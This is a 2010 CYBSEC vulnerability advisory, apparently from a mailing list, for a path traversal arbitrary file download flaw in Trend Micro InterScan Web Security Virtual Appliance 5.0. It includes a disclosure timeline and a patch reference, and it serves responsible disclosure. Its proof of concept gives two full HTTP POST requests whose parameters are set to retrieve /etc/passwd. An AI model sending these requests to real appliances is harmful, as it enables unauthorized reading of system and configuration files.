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CYBSEC Advisory#2010-0606 InterScan Web Security 5.0 Arbitrary File Download
From: "Cybsec - Security Systems" <capacitacion () cybsec com>
Date: Wed, 23 Jun 2010 11:42:00 -0300
Advisory Name: Arbitrary File Download in InterScan Web Security Virtual Appliance 5.0 Internal Cybsec Advisory Id: 2010-0606 Vulnerability Class: Arbitrary File Download Release Date: To be confirmed Affected Applications: Confirmed in InterScan Web Security Virtual Appliance 5.0. Other versions may also be affected. Affected Platforms: Red Hat nash 5.1 Local / Remote: Remote Severity: High - CVSS: 6.8 (AV:N/AC:L/Au:S/C:C/I:N/A:N) Researcher: Ivan Huertas Special thanks to: Nahuel Grisolia Vendor Status: Patched Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf Vulnerability Description: The vulnerability is caused due to an improper check in "com.trend.iwss.gui.servlet.exportreport" servlet, allowing the download of arbitrary files. Using a path traversal technique, an attacker can change the original path to the file, modifying the parameter "exportname". Servlet "com.trend.iwss.gui.servlet.ConfigBackup" is also affected by this vulnerability in the parameter "pkg_name" Proof of Concept: 1) Using path traversal technique, an attacker can select the file to download when trying to export a report. POST /servlet/com.trend.iwss.gui.servlet.exportreport HTTP/1.1 Host: xxx.xxx.xx.xx:1812 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://xxx.xxx.xx.xx:1812/summary_threat.jsp Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370 Content-Type: application/x-www-form-urlencoded Content-Length: 99 op=refresh&summaryinterval=7&exportname=../../../../../../../../../../etc/passwd&exportfilesize=443 2) The virtual appliance has a functionality able to backup the current config. One of the POST needed to download the config sets the file to download client side: POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: xx.xx.xx.xx:1812 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://xx.xx.xx.xx:1812/config_backup_result.jsp?op=export Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370 Content-Type: application/x-www-form-urlencoded Content-Length: 46 op=2&ImEx_success=1&pkg_name=/etc/passwd%0D%0A Impact: Access to sensitive information about the server. Solution: Apply the patch that can be found in http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249®s=NABU&lang_loc=1 Vendor Response: 2009-03-26 - Vulnerability was identified 2010-04-09 - Vendor contacted 2010-04-15 - Vendor response 2010-06-21 - Vendor released fixed version 2010-06-22 - Vulnerability published Contact Information: For more information regarding the vulnerability feel free to contact the researcher at ihuertas <at> cybsec <dot> com About CYBSEC S.A. Security Systems: Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life. To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies. Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable. Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange. For more information, please visit www.cybsec.com (c) 2010 - CYBSEC S.A. Security Systems
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- CYBSEC Advisory#2010-0606 InterScan Web Security 5.0 Arbitrary File Download CYBSEC Labs (Jun 23)
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- CYBSEC Advisory#2010-0606 InterScan Web Security 5.0 Arbitrary File Download Cybsec - Security Systems (Jun 24)